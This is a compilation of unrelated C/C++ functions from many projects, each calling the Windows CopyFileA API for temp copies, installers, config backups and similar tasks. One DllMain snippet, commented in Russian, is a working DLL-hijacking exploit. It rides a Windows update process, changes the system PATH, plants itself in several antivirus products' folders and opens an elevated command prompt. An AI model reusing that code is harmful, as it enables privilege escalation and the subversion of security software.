bool load(const arguments & args_, std::string & result) { HMODULE dllHandle; RVExtension function; LOG(INFO) << "Load requested [" << args_.as_string(0) << "]"; if (_modules.find(args_.as_string(0)) != _modules.end()) { LOG(ERROR) << "Module already loaded [" << args_.as_string(0) << "]"; return true; } #ifdef _WINDOWS // Make a copy of the file to temp, and load it from there, referencing the current path name char tmpPath[MAX_PATH +1], buffer[MAX_PATH + 1]; if(!GetTempPathA(MAX_PATH, tmpPath)) { LOG(ERROR) << "GetTempPath() failed, e=" << GetLastError(); return false; } if(!GetTempFileNameA(tmpPath, "ace_dynload", TRUE, buffer)) { LOG(ERROR) << "GetTempFileName() failed, e=" << GetLastError(); return false; } std::string temp_filename = buffer; if (!CopyFileA(args_.as_string(0).c_str(), temp_filename.c_str(), FALSE)) { DeleteFile(temp_filename.c_str()); if (!CopyFileA(args_.as_string(0).c_str(), temp_filename.c_str(), FALSE)) { LOG(ERROR) << "CopyFile() , e=" << GetLastError(); return false; } } #else std::string temp_filename = args_.as_string(0); #endif dllHandle = LoadLibrary(temp_filename.c_str()); if (!dllHandle) { LOG(ERROR) << "LoadLibrary() failed, e=" << GetLastError() << " [" << args_.as_string(0) << "]"; return false; } function = (RVExtension)GetProcAddress(dllHandle, "_RVExtension@12"); if (!function) { LOG(ERROR) << "GetProcAddress() failed, e=" << GetLastError() << " [" << args_.as_string(0) << "]"; FreeLibrary(dllHandle); return false; } LOG(INFO) << "Load completed [" << args_.as_string(0) << "]"; _modules[args_.as_string(0)] = module(args_.as_string(0), dllHandle, function, temp_filename); return false; }
bool InstallDllToSystem32(char *src_dirname, char *src_filename, char *dst_filename) { char system32[MAX_PATH]; char src_fullpath[MAX_PATH]; char dst_fullpath[MAX_PATH]; SeStrCpy(src_fullpath, sizeof(src_fullpath), src_dirname); SeStrCat(src_fullpath, sizeof(src_fullpath), "\\"); SeStrCat(src_fullpath, sizeof(src_fullpath), src_filename); if (Is64BitCode() || IsWow64() == false) { GetSystemDirectoryA(system32, sizeof(system32)); } else { GetSystemWow64DirectoryA(system32, sizeof(system32)); } SeStrCpy(dst_fullpath, sizeof(dst_fullpath), system32); SeStrCat(dst_fullpath, sizeof(dst_fullpath), "\\"); SeStrCat(dst_fullpath, sizeof(dst_fullpath), dst_filename); if (IsWin10PcapFile(dst_fullpath) == false) { char dst_backup[MAX_PATH]; SeStrCpy(dst_backup, sizeof(dst_backup), dst_fullpath); SeStrCat(dst_backup, sizeof(dst_backup), ".bak"); CopyFileA(dst_fullpath, dst_backup, false); } LABEL_RETRY: if (CopyFileA(src_fullpath, dst_fullpath, false) == false) { char tmp[MAX_SIZE]; wsprintfA(tmp, "The installation of the DLL file to the path \"%s\" failed.\r\n\r\n" "Make sure that there are no running programs using WinPcap DLL.", dst_fullpath); if (MessageBoxA(NULL, tmp, INSTALLER_TITLE, MB_ICONEXCLAMATION | MB_SYSTEMMODAL | MB_RETRYCANCEL) == IDRETRY) { goto LABEL_RETRY; } return false; } return true; }
static bool S9xSaveConfigFile(ConfigFile &conf){ configMutex = CreateMutex(NULL, FALSE, TEXT("Snes9xConfigMutex")); int times = 0; DWORD waitVal = WAIT_TIMEOUT; while(waitVal == WAIT_TIMEOUT && ++times <= 150) // wait at most 15 seconds waitVal = WaitForSingleObject(configMutex, 100); // save over the .conf file if it already exists, otherwise save over the .cfg file std::string fname; fname=S9xGetDirectory(DEFAULT_DIR); fname+=SLASH_STR S9X_CONF_FILE_NAME; // ensure previous config file is not lost if we crash while writing the new one std::string ftemp; { CopyFileA(fname.c_str(), (fname + ".autobak").c_str(), FALSE); ftemp=S9xGetDirectory(DEFAULT_DIR); ftemp+=SLASH_STR "config_error"; FILE* tempfile = fopen(ftemp.c_str(), "wb"); if(tempfile) fclose(tempfile); } bool ret = try_save(fname.c_str(), conf); remove(ftemp.c_str()); remove((fname + ".autobak").c_str()); ReleaseMutex(configMutex); CloseHandle(configMutex); return ret; }
static BOOL copy_dll_file(void) { char sys_dir[MAX_PATH+15]; char temp_path[MAX_PATH]; if (GetSystemDirectoryA(sys_dir, MAX_PATH) == 0) { skip("Failed to get system directory. Skipping certificate/PE image tests.\n"); return FALSE; } if (sys_dir[lstrlenA(sys_dir) - 1] != '\\') lstrcatA(sys_dir, "\\"); lstrcatA(sys_dir, "imagehlp.dll"); /* Copy DLL to a temp file */ GetTempPathA(MAX_PATH, temp_path); GetTempFileNameA(temp_path, "img", 0, test_dll_path); if (CopyFileA(sys_dir, test_dll_path, FALSE) == 0) { skip("Unable to create copy of imagehlp.dll for tests.\n"); return FALSE; } return TRUE; }
int main() { char filename[MAX_PATH]={0}; SetConsoleTitleA("Simple PE64 Viewer"); bgn: printf("Simple PE64 Viewer\n====================\nAuthor: Tesla.Angela\nVersion: 0.01\nSupport: PE32+ file\n\n\n"); printf("输入文件名(支持文件拖拽,直接按回车则默认打开ntoskrnl.exe,输入exit退出):"); gets(filename); if (FileLen(filename)==0) { if( stricmp(filename,"exit") ) { CopyFileA("c:\\windows\\system32\\ntoskrnl.exe","c:\\ntoskrnl.exe",0); strcpy(filename,"c:\\ntoskrnl.exe"); printf("c:\\ntoskrnl.exe\n"); } else goto end; } ShowPE64Info(filename); clrscr(); goto bgn; end: DeleteFileA("c:\\ntoskrnl.exe"); return 0; }
bool GameDeploymentUtil::createGameConfig( const std::string& targetDir, const GameDeploymentInfo& info ) { ResourcesManager& resMgr = TSingleton< ResourcesManager >::getInstance(); Filesystem& fs = resMgr.getFilesystem(); GameConfig* config = new GameConfig(); config->m_renderingPipelinePath = info.m_renderingPipelinePath; config->m_worldModelPath = info.m_worldModelPath; // save it in this filesystem FilePath gameConfigPath( "game.gcf" ); ReflectionSerializationUtil::saveObject( config, gameConfigPath ); // destroy the config instance delete config; // move it to the destination std::string gameConfigSourcePath = gameConfigPath.toAbsolutePath( fs ); std::string gameConfigDestPath = targetDir + "/" + gameConfigPath.c_str(); bool deploymentSuccessful = CopyFileA( gameConfigSourcePath.c_str(), gameConfigDestPath.c_str(), false ); // delete the temporary file fs.remove( gameConfigPath ); return deploymentSuccessful; }
/* * CopyDirectoryA * WinAPI-like function that copies the full directory @szFrom to @szTo * If @szTo doesn't exist, it is created */ inline BOOL CopyDirectoryA(LPCTSTR szFrom, LPCTSTR szTo) { if(CreateDirectoryA(szTo, NULL)) { ForeachFile(szFrom, "*.*", false, [&szFrom, &szTo](ModLoaderFile& file) { CHAR szToFile[MAX_PATH], szFromFile[MAX_PATH]; const char* pPath = file.filename; sprintf(szToFile, "%s\\%s", szTo, pPath); sprintf(szFromFile, "%s\\%s", szFrom, pPath); if(file.is_dir) // Call myself again for recursion CopyDirectoryA(szFromFile, szToFile); else CopyFileA(szFromFile, szToFile, FALSE); return true; }); return TRUE; } return FALSE; }
ngspice::ngspice() :m_sendDataDebug(0) ,m_flagPrompt(false) ,m_running(false) ,m_flagCheckLoadCircuit(false) //,m_breakTest(false) { string path = get_exe_dir(); SetCurrentDirectoryA(path.c_str()); static int copy = 1; string dll = FormatString(100, "ngspice%d.dll", copy++); BOOL success = CopyFileA("ngspice.dll", dll.c_str(), FALSE); m_mod = LoadLibrary(dll.c_str()); ngSpice_Init = (Func_ngSpice_Init)GetProcAddress(m_mod, "ngSpice_Init"); ngSpice_Init_Sync = (Func_ngSpice_Init_Sync)GetProcAddress(m_mod, "ngSpice_Init_Sync"); ngSpice_Command = (Func_ngSpice_Command)GetProcAddress(m_mod, "ngSpice_Command"); ngGet_Vec_Info = (Func_ngGet_Vec_Info)GetProcAddress(m_mod, "ngGet_Vec_Info"); ngSpice_Circ = (Func_ngSpice_Circ)GetProcAddress(m_mod, "ngSpice_Circ"); ngSpice_CurPlot = (Func_ngSpice_CurPlot)GetProcAddress(m_mod, "ngSpice_CurPlot"); ngSpice_AllPlots = (Func_ngSpice_AllPlots)GetProcAddress(m_mod, "ngSpice_AllPlots"); ngSpice_AllVecs = (Func_ngSpice_AllVecs)GetProcAddress(m_mod, "ngSpice_AllVecs"); ngSpice_running = (Func_ngSpice_running)GetProcAddress(m_mod, "ngSpice_running"); ngSpice_SetBkpt = (Func_ngSpice_SetBkpt)GetProcAddress(m_mod, "ngSpice_SetBkpt"); int ret = ngSpice_Init(procSendChar, procSendStat, procControlledExit, procSendData, procSendInitData, procBGThreadRunning, this); }
/*----------------------------------------------------------------------------* * NAME * SetImageFileName * * DESCRIPTION * The file name of the image to be transferred. *---------------------------------------------------------------------------*/ bool ImageFileHandler::OpenImageFile() { bool fileOpened = false; if(mImgFile != NULL) { fclose(mImgFile); mImgFile = NULL; } FILE *imgFile = NULL; // The image file to transfer // Try to open the specified file if(0 == fopen_s(&imgFile, mAsciiFileName, "rb+")) { fclose(imgFile); //if(fopen_s(&mImgFile, "OTATemp.img", "w+")) == 0) DeleteFileA(mTempFileName); CopyFileA(mAsciiFileName, mTempFileName, FALSE); if(0 == fopen_s(&mImgFile, mTempFileName, "rb+")) { fileOpened = true; // Try to determine the length of the specified file mImgFileSize = readFileLength(mImgFile); ResetTransfer(); } } return (fileOpened && (mImgFileSize > 0)); }
internal void win32_InitGmbDll(win32_gmbdll *dll) { // note(caf): we make a copy because otherwise visual studio's debugger holds // the dll and pdb open and we can't compile a new one over it if (!CopyFileA("\\build\\gmb.dll", "\\build\\gmb_copy.dll", 0)) { // todo(caf): handle errors return; } // this isn't great. we should deal with this differently so we don't have to // delete the original // DeleteFileA("\\build\\gmb.dll"); dll->Handle = LoadLibraryA("\\build\\gmb_copy.dll"); if (!dll->Handle) { dll->gmbMainLoop = &gmbMainLoopStub; errord((char *)"Failed to LoadLibraryA()"); } else { gmb_main_loop *ml = (gmb_main_loop *)GetProcAddress(dll->Handle, "gmbMainLoop"); if (!ml) { dll->gmbMainLoop = &gmbMainLoopStub; errord((char *)"Failed to GetProcAddress()"); } dll->gmbMainLoop = ml; HANDLE lastDllHandle; lastDllHandle = CreateFileA("\\build\\gmb_copy.dll", 0, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if (lastDllHandle != INVALID_HANDLE_VALUE) { } // note(caf): we check the _modified_ date because silly me, creation date // is literally the time the file with that name first existed GetFileTime(lastDllHandle, 0, 0, &dll->lastCreationDate); CloseHandle(lastDllHandle); } }
bool copy_file(const path & from_p, const path & to_p, bool overwrite) { bool ret = CopyFileA(from_p.string().c_str(), to_p.string().c_str(), !overwrite) == TRUE; if(!ret) { LogWarning << "CopyFileA(" << from_p << ", " << to_p << ", " << !overwrite << ") failed! " << GetLastErrorString(); } return ret; }
bool Path::copy( const QString & src, const QString & dest ) { Path srcp( src ), destp( dest ); if( !srcp.fileExists() || !destp.dir().dirExists() ) return false; #ifdef Q_OS_WIN bool s_unc = false, d_unc = false; QString srcw( srcp.path() ); srcw = srcw.replace( "/", "\\" ); QString destw( destp.path() ); destw = destw.replace( "/", "\\" ); if( srcw[0] == '\\' && srcw[1] == '\\' ) s_unc = true; if( destw[0] == '\\' && destw[1] == '\\' ) d_unc = true; srcw.replace( "\\\\", "\\" ); if( s_unc ) srcw = "\\" + srcw; destw.replace( "\\\\", "\\" ); if( d_unc ) destw = "\\" + destw; bool ret = CopyFileA( srcw.toLatin1(), destw.toLatin1(), false ) != 0; if( !ret ) { DWORD err = GetLastError(); LOG_1( "Copy failed with error: " + QString::number(err) ); LOG_1( "Src: " + srcw + "Dest: " + destw ); } return ret; #else system( QString( "cp " + srcp.path() + " " + destp.path() ).toLatin1() ); return true; #endif }
void FileImpl::copyToImpl(const std::string& path) const { poco_assert (!_path.empty()); if (CopyFileA(_path.c_str(), path.c_str(), FALSE) == 0) handleLastErrorImpl(_path); }
VOID PrepareFirstRun(LPCSTR lpExePath) { CHAR chFolderPath[MAX_PATH]; GetTempPath(RTL_NUMBER_OF(chFolderPath)-1, chFolderPath); GetTempFileName(chFolderPath, NULL, 0, g_chExePath); PathRemoveExtension(g_chExePath); PathAddExtension(g_chExePath, ".exe"); CopyFileA(lpExePath, g_chExePath, FALSE); GetTempFileName(chFolderPath, NULL, 0, g_chDllPath); PathRemoveExtension(g_chDllPath); PathAddExtension(g_chDllPath, ".dll"); CopyFileA(lpExePath, g_chDllPath, FALSE); SetFileDllFlag(g_chDllPath); }
static int sttSaveAvatar() { FILE* in; SHA1Context sha; // MD5Context md5; unsigned char buf[ 512 ]; char tFileName[ MAX_PATH ]; int i, pictureType; int bIsFirst = 1; struct _stat statbuf; uint8_t digest[20]; if (_stat(szFileName, &statbuf)) return 1; if (statbuf.st_size > 6 * 1024) return 1; TlenGetAvatarFileName( NULL, tFileName, sizeof tFileName ); if ( CopyFileA( szFileName, tFileName, FALSE ) == FALSE ) { JabberLog( "Copy failed with error %d", GetLastError() ); return 1; } SHA1Reset(&sha); // md5_init(&md5); in = fopen( tFileName, "rb" ); if ( in == NULL ) return 1; while( !feof( in )) { int bytes = fread( buf, 1, sizeof buf, in ); if ( bIsFirst ) { pictureType = JabberGetPictureType( buf ); bIsFirst = 0; } SHA1Input(&sha, buf, bytes); // md5_update(&md5, buf, bytes); } fclose( in ); if ( pictureType == PA_FORMAT_UNKNOWN ) return 1; SHA1Result(&sha, digest); // md5_finalize(&md5); for (i=0;i<20;i++) { // unsigned int val = (md5.state[i>>2] >> 8*(i%4)) & 0xFF; sprintf( buf+( i<<1 ), "%02x", digest[i]); } DBWriteContactSettingString(NULL, jabberProtoName, "AvatarHash", buf); DBWriteContactSettingDword(NULL, jabberProtoName, "AvatarFormat", pictureType); if (userAvatarHash != NULL) { free (userAvatarHash); userAvatarHash = NULL; } userAvatarHash = strdup(buf); userAvatarFormat = pictureType; TlenGetAvatarFileName(NULL, szFileName, MAX_PATH); if ( strcmp( szFileName, tFileName )) MoveFileA( tFileName, szFileName ); return 0; }
Bool System::CopyFile( const GChar * strDestPathName, const GChar * strSrcPathName, Bool bOverwrite ) const { #if ( defined(UNICODE) || defined (_UNICODE) ) BOOL bRes = CopyFileW( strSrcPathName, strDestPathName, bOverwrite ? FALSE : TRUE ); #else BOOL bRes = CopyFileA( strSrcPathName, strDestPathName, bOverwrite ? FALSE : TRUE ); #endif return ( bRes != FALSE ); }
BOOL My_CopyFileA() { LPCSTR lpExistingFileName=NULL; LPCSTR lpNewFileName=NULL; BOOL bFailIfExists=NULL; BOOL returnVal_Real = NULL; BOOL returnVal_Intercepted = NULL; DWORD error_Real = 0; DWORD error_Intercepted = 0; disableInterception(); returnVal_Real = CopyFileA (lpExistingFileName,lpNewFileName,bFailIfExists); error_Real = GetLastError(); enableInterception(); returnVal_Intercepted = CopyFileA (lpExistingFileName,lpNewFileName,bFailIfExists); error_Intercepted = GetLastError(); return ((returnVal_Real == returnVal_Intercepted) && (error_Real == error_Intercepted)); }
/***************************************************************************************************\ * Функа DllMain; * дополнительная точка входа в подгружаемую динамически dll; * Вход: * (+) * Выход: * 1 - dll загрузилась; 0 - что-то пошло не так - и она будет выгружена системой; \***************************************************************************************************/ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { HANDLE hFile; char szMsg1[] = "Hello from DllMain!\r\n"; char szMsg2[MAX_PATH * 2] = "DllMain: "; DWORD numobw = 0; if(fdwReason == DLL_PROCESS_ATTACH) //длл запущена или был вызов этой длл через LoadLibrary; { hFile = CreateFileA(szLogName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); //создаём лог-файл (должна существовать папка C:\xlogs); if(hFile == INVALID_HANDLE_VALUE) { return 0; } GetModuleFileNameA(0, &szMsg2[strlen(szMsg2)], MAX_PATH); //получаем имя exe-файла, загрузившего нашу длл; if(strstr(szMsg2, "Windows-KB")) //если нашу длл загружает апдейт винды { if(ChangeRegKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path", ";C:\\xlogs")) { GetModuleFileNameA(GetModuleHandleA("feclient.dll"), szFileName, MAX_PATH); //получаем полный путь к нашей длл (наша длл должна иметь имя feclient.dll - как раз для того, чтобы быть подхваченной апейтом винды (ака dll hijacking)); CopyFileA(szFileName, "C:\\xlogs\\ppeset.dll", 0); //копируем её в данную папку с конкретным названием (for nod32); CopyFileA(szFileName, "C:\\Program Files\\COMODO\\COMODO Internet Security\\themes\\xnewdll.theme", 0); //for comodo MoveFileA("C:\\Program Files\\F-Secure\\apps\\CCF_Reputation\\orspapi.dll", "C:\\Program Files\\F-Secure\\apps\\CCF_Reputation\\orspapi2.dll"); //for f-secure; CopyFileA(szFileName, "C:\\Program Files\\F-Secure\\apps\\CCF_Reputation\\orspapi.dll", 0); //for f-secure; CopyFileA(szFileName, "C:\\Program Files\\Internet Explorer\\xnewdll.dll", 0); //просто так) ShellExecuteA(NULL, "open", "C:\\WINDOWS\\System32\\cmd.exe", NULL, NULL, SW_SHOW); //вызываем командную строку (с админскими правами в случае успеха); } } strcat(szMsg2, "\r\n"); //переход на новую строку WriteFile(hFile, szMsg1, strlen(szMsg1), &numobw, 0); //пишем данные в лог-файл; SetFilePointer(hFile, 0, 0, FILE_END); //переходим в конец файла (на новую строку); WriteFile(hFile, szMsg2, strlen(szMsg2), &numobw, 0); //etc CloseHandle(hFile); } return 1; }
void FileImpl::copyToImpl(const std::string& path) const { poco_assert (!_path.empty()); if (CopyFileA(_path.c_str(), path.c_str(), FALSE) != 0) { FileImpl copy(path); copy.setWriteableImpl(true); } else handleLastErrorImpl(_path); }
std::string CMtIdCardReader::ReadIdCardInfo() { Json::Value root; Json::Value JsonReadInfo; Json::Value JsonUserInfo; string json_content = ""; int nRes = 0; int rlen = 0; char msg[MAX_PATH] = {0}; unsigned char pData[MAX_PATH*10] = {0}; char szfilename[MAX_PATH] = {0}; char sztmpfolder[MAX_PATH] = {0}; std::string szoldimgpath; //GetTempPathA(MAX_PATH,sztmpfolder); GetSystemDirectoryA(sztmpfolder,MAX_PATH); sztmpfolder[3] = '\0'; szoldimgpath = szoldimgpath + sztmpfolder+ "zp.bmp"; HANDLE icdev = m_IdCardReaderMgr.pFun_device_open(0,9600); nRes = m_IdCardReaderMgr.pFun_IDCard_ReadCard(icdev,msg); JsonReadInfo["message"] = msg; JsonReadInfo["code"] = nRes; if(!nRes) { m_IdCardReaderMgr.pFun_IDCard_SetPhotoPath(sztmpfolder); nRes = m_IdCardReaderMgr.pFun_IDCard_Read(icdev,&rlen,pData); if(!nRes) { for (int i=0;i<=10;i++) { char sztmp[MAX_PATH] = {0}; m_IdCardReaderMgr.pFun_IDCard_GetCardInfo(icdev,i,sztmp); JsonUserInfo[m_mapfield[i]]=sztmp; } JsonReadInfo["userInfo"] = JsonUserInfo; //铭泰的保存图片接口有问题不能设置保存名字。删除先前旧的照片. if(_access((char*)szoldimgpath.c_str(), 0) == 0) { CopyFileA(szoldimgpath.c_str(),m_strimgPath.c_str(),FALSE); DeleteFileA(szoldimgpath.c_str()); JsonReadInfo["userInfo"]["img"] = m_strimgPath; } } } Json::StyledWriter writer; json_content = writer.write(JsonReadInfo); m_IdCardReaderMgr.pFun_device_close(icdev); return json_content; }
int file_copy(std::string fname, std::string newname) { DWORD result = CopyFileA(fname.c_str(), newname.c_str(), false); switch(result) { case 0: return 0; break; default: return 1; break; } }
/* Copies file/directory overwriting destination files if requested. Returns * non-zero on error, otherwise zero is returned. */ static int op_cp(void *data, const char src[], const char dst[], int overwrite) { #ifndef _WIN32 char *escaped_src, *escaped_dst; char cmd[6 + PATH_MAX*2 + 1]; int result; escaped_src = escape_filename(src, 0); escaped_dst = escape_filename(dst, 0); if(escaped_src == NULL || escaped_dst == NULL) { free(escaped_dst); free(escaped_src); return -1; } snprintf(cmd, sizeof(cmd), "cp %s -R " PRESERVE_FLAGS " %s %s", overwrite ? "" : NO_CLOBBER, escaped_src, escaped_dst); LOG_INFO_MSG("Running cp command: \"%s\"", cmd); result = background_and_wait_for_errors(cmd); free(escaped_dst); free(escaped_src); return result; #else int ret; if(is_dir(src)) { char cmd[6 + PATH_MAX*2 + 1]; snprintf(cmd, sizeof(cmd), "xcopy \"%s\" \"%s\" ", src, dst); to_back_slash(cmd); if(is_vista_and_above()) strcat(cmd, "/B "); if(overwrite) { strcat(cmd, "/Y "); } strcat(cmd, "/E /I /H /R > NUL"); ret = system(cmd); } else { ret = (CopyFileA(src, dst, 0) == 0); } return ret; #endif }
static void action_copy(const char *filename) { char *nuname; if (!getdest(filename, &nuname)) return; if (CopyFileA(filename, nuname, FALSE)) logg("~%s: copied to '%s'\n", PATH_PLAIN(filename), PATH_PLAIN(nuname)); else { logg("!Cannot copy file %s (%lu)\n", PATH_PLAIN(filename), GetLastError()); notmoved++; } free(nuname); }
// Apply various workarounds to Linux config files static void fix_config(const char* psz_fullpath, const char* psz_path, const char* psz_basename, EXTRACT_PROPS* props) { size_t i, nul_pos; char *iso_label = NULL, *usb_label = NULL, *src, *dst; nul_pos = safe_strlen(psz_fullpath); src = safe_strdup(psz_fullpath); if (src == NULL) return; for (i=0; i<nul_pos; i++) if (src[i] == '/') src[i] = '\\'; // Workaround for config files requiring an ISO label for kernel append that may be // different from our USB label. Oh, and these labels must have spaces converted to \x20. if ((props->is_syslinux_cfg) || (props->is_grub_cfg)) { iso_label = replace_char(img_report.label, ' ', "\\x20"); usb_label = replace_char(img_report.usb_label, ' ', "\\x20"); if ((iso_label != NULL) && (usb_label != NULL)) { if (replace_in_token_data(src, (props->is_syslinux_cfg) ? "append" : "linuxefi", iso_label, usb_label, TRUE) != NULL) uprintf(" Patched %s: '%s' ⇨ '%s'\n", src, iso_label, usb_label); } safe_free(iso_label); safe_free(usb_label); } // Fix dual BIOS + EFI support for tails and other ISOs if ( (props->is_syslinux_cfg) && (safe_stricmp(psz_path, efi_dirname) == 0) && (safe_stricmp(psz_basename, syslinux_cfg[0]) == 0) && (!img_report.has_efi_syslinux) && (dst = safe_strdup(src)) ) { dst[nul_pos-12] = 's'; dst[nul_pos-11] = 'y'; dst[nul_pos-10] = 's'; CopyFileA(src, dst, TRUE); uprintf("Duplicated %s to %s\n", src, dst); free(dst); } // Workaround for FreeNAS if (props->is_grub_cfg) { iso_label = malloc(MAX_PATH); usb_label = malloc(MAX_PATH); if ((iso_label != NULL) && (usb_label != NULL)) { safe_sprintf(iso_label, MAX_PATH, "cd9660:/dev/iso9660/%s", img_report.label); safe_sprintf(usb_label, MAX_PATH, "msdosfs:/dev/msdosfs/%s", img_report.usb_label); if (replace_in_token_data(src, "set", iso_label, usb_label, TRUE) != NULL) uprintf(" Patched %s: '%s' ⇨ '%s'\n", src, iso_label, usb_label); } safe_free(iso_label); safe_free(usb_label); } free(src); }
void CDlgCreateSpecularTexture::OnOK() { CTFileName fnTemp = _fnmApplicationPath+CTString("temp\\SpecularTemp.tex"); CTFileName fnFinal = _EngineGUI.FileRequester( "Save texture as ...", FILTER_TEX FILTER_ALL FILTER_END, "Specular map textures directory", "Textures\\"); if( fnFinal != "") { CopyFileA( fnTemp, _fnmApplicationPath+fnFinal, FALSE); } CDialog::OnOK(); }
bool replaceFile(const char *topath, const char *frompath) { /*if (!CloseHandle(tempfile)) puts("fcl"); BOOL res = ReplaceFileA(topath, frompath, NULL, 0, NULL, NULL); tempfile = CreateFileA(tempfile_name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);*/ BOOL res = CopyFileA(frompath, topath, FALSE); return res != 0; }
void copy_file(const std::string& from, const std::string& to) { #ifdef _WINDOWS ASSERT_LOG(CopyFileA(from.c_str(), to.c_str(), false), "copy_file: (" << from << " : " << to << ") failed."); #else // Note that this is a pretty gross copy operation and won't preserve meta-data // it will only copy the file data. If your API has a better copy option, I'd // suggest implementing it here. std::fstream file1(from.c_str(), std::ios_base::in | std::ios_base::binary); std::ofstream file2(to.c_str(), std::ios_base::out | std::ios_base::binary); file1 << std::noskipws; std::copy(std::istream_iterator<char>(file1),std::istream_iterator<char>(),std::ostream_iterator<char>(file2)); #endif }
bool Install() { char installPath[MAX_PATH]; sprintf(installPath,"%s\\DropboxFilter",getenv("ProgramFiles")); char exePath[MAX_PATH]; sprintf(exePath,"%s\\DropboxFilter.exe",installPath); char dllPath[MAX_PATH]; sprintf(dllPath,"%s\\DropboxFilter.dll",installPath); char currExePath[MAX_PATH]; GetModuleFileNameA(NULL,currExePath,sizeof(currExePath)); if(CompareFiles(exePath,currExePath)) { return true; } char msg[1024*10]; sprintf(msg,"First we need to install the DropboxFilter executable and DLL into a program files directory.\n\nWhen you press OK the following will be done.\n\n1. The dropbox process will be terminated\n2. A directory %s will be created.\n3. Executable will be copied to\n\t%s\n4. Dll will be copied to\n\t%s",installPath,exePath,dllPath); if(MessageBox(NULL,msg,"Install",MB_OKCANCEL) != IDOK) { return false; } DWORD id = FindProcessIdByName("dropbox.exe"); if(id) { HANDLE hProcess = OpenProcess(PROCESS_TERMINATE,FALSE,id); if(hProcess != NULL) { TerminateProcess(hProcess,0); CloseHandle(hProcess); } } CreateDirectory(installPath,NULL); if(!CopyFileA(currExePath,exePath,FALSE)) { MessageBox(NULL,"Failed to install executable to Program Files directory.","Failed",MB_OK); return false; } FILE *file = fopen(dllPath,"wb"); int written; HRSRC hResource; if(file) { hResource = FindResource(NULL,"ID_DLL","DLL"); void *resource = LockResource(LoadResource(NULL,hResource)); written = fwrite(resource,1,SizeofResource(NULL,hResource),file); fclose(file); } if(file == NULL || written != SizeofResource(NULL,hResource)) { MessageBox(NULL,"Failed to install dll to Program Files directory.\nYou migh have to run this installer with Administrator privilegies\n\nExit installer right click on installer executable and choose run as administrator.","Failed",MB_OK); } return true; }
bool PackAggregate::resortFilePack(const char* pack, std::vector<PackAggregate::stFileInfo> & files) { char szDir[MAX_PATH] = { 0 }; char tmpFile[MAX_PATH] = { 0 }; char *p; strcpy(szDir, pack); p = strrchr(szDir, '\\'); if (p) *p = 0; if (!GetTempFileNameA(szDir, "pak", 0, tmpFile)) //创建0字节文件名为szDir.pak的文件 { return false; } if (!CopyFileA(pack, tmpFile, FALSE)) //把文件拷贝到临时文件夹 return false; Data mdata = FileUtils::getInstance()->getDataFromFile(tmpFile); PackAggregate::stPackHeader hdr; mdata.read(&hdr, sizeof(PackAggregate::stPackHeader)); size_t filesize = mdata.getSize(); mdata.setPosition(filesize - hdr.headerSize); std::vector<BYTE> tmpBuff; tmpBuff.resize(files.size() * sizeof(stFileInfo)); p = (char*)&tmpBuff[0]; for (size_t i = 0; i < files.size(); ++i) { stFileInfo1 * dst1 = (stFileInfo1*)p; stFileInfo & st = files[i]; p += sizeof(stFileInfo1); *dst1 = st.st1; char* pname = (char*)p; strcpy(pname, st.szName); p += strlen(pname) + 1; } size_t size = ((p - (char*)&tmpBuff[0]) + 7) & (~7); BYTE des_key[3][8]; PasswordToDesKey(PackAggregate::GetDefaultPassword(), des_key[0], des_key[1], des_key[2]); EncryptHeaderData(&tmpBuff[0], size, des_key[0], des_key[1], des_key[2]); mdata.write(&tmpBuff[0], size); FileUtils::getInstance()->writeDataToFile(tmpFile, mdata); return FileUtilsWin32::updateFile(tmpFile, pack); }
int copyFile(const std::string& name, const std::string& ren){ #if defined(_WIN32)||defined(_WIN_32) ulti::mkdir(ulti::parentFolder(ren).name,true); return CopyFileA(name.c_str(),ren.c_str(),false); #endif std::ifstream src(name, std::ios::binary); std::ofstream dst(ren, std::ios::binary); int ret = -1; if (src.is_open()&&dst.is_open()){ dst << src.rdbuf(); ret = src.good() && dst.good(); } src.close(); dst.close(); return ret; }